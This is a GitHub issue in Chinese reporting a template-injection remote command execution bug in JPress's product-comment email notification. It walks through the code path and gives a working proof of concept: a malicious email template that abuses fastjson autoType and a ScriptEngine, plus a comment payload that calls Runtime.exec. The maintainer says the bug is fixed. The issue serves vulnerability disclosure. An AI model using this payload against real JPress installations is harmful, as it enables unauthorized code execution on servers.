Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

jpress后台存在命令执行漏洞-邮件模板product #172

Closed
Er1cccc opened this issue Jan 9, 2022 · 1 comment
Closed

jpress后台存在命令执行漏洞-邮件模板product #172

Er1cccc opened this issue Jan 9, 2022 · 1 comment

Comments

@Er1cccc
Copy link

Er1cccc commented Jan 9, 2022

审计过程

与之前两篇不同,之前交过两个邮件模板注入的洞,一个触发点是在article的评论处,一个是在page的评论处,这次是在product的评论处,代码很相似,但不是同一份代码

jpress后台提供了评论邮件通知管理员功能,而且发送的邮件模板可控,官方给出了例子,告诉我们可以用#(comment.id),那么猜测这里可能会存在模板渲染问题

image-20211222195858075

接着,尝试发一条评论看看后端代码的执行流程,后端对应的代码是io.jpress.module.product.controller.front.ProductController#postComment,这个方法的作用主要是将评论信息保存到数据库,同时还会发送短信通知网站管理员

image-20211222195929587

跟进io.jpress.module.product.ProductNotifyKit#doNotifyAdministrator,发现这里定义了两种方式,一个是sms发送,一个是email,我们跟进email的

image-20211222195948627

发现doNotifyAdministratorByEmail方法会继续调用doSendEmail,这个函数里面有模板渲染操作,在第90和91行,分别对邮件的emailTitle和emailTemplate调用getTemplateByString进行渲染,这两个变量实际上就是最开始我们在前端页面输入的

image-20211222200028114

分析到这里,结合之前交过的那个邮件模板rce,应该可以直接打模板注入了

效果演示

首先通过弱密码进入后台

image-20220116142119465

然后开启这两项

image-20220116142128572

然后配置管理员邮箱,随便配一个,这个是收件者

image-20211222190646284

还得配置发送者的邮箱,配置完记得点提交,拉到最下面点提交

image-20220116142142043

然后设置恶意邮件模板,同样记得要提交

#set(str=comment.content)
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) 
#(x.setAutoTypeSupport(true)) 
#set(sem=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#(x.addAccept(sem)) 
#set(json=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#set(x=com.alibaba.fastjson.JSON::parse(json))
#set(js=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#set(e=x.getEngineByName(js)) 
#(e.eval(str))

image-20220116142149882

然后创建一个product,点击上架

image-20211222200233103image-20211222200300076

访问一下刚刚的商品

image-20220116142158890

接下来,在商品下面评论如下内容

javax.script.ScriptEngineManager|{"@type":"javax.script.ScriptEngineManager"}|js|java.lang.Runtime.getRuntime().exec("calc") 

image-20211222200353097

发现计算器成功弹出,漏洞验证成功

image-20211222200405033

@JPressProjects
Copy link
Owner

在 jpress 最新版本中已解决。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants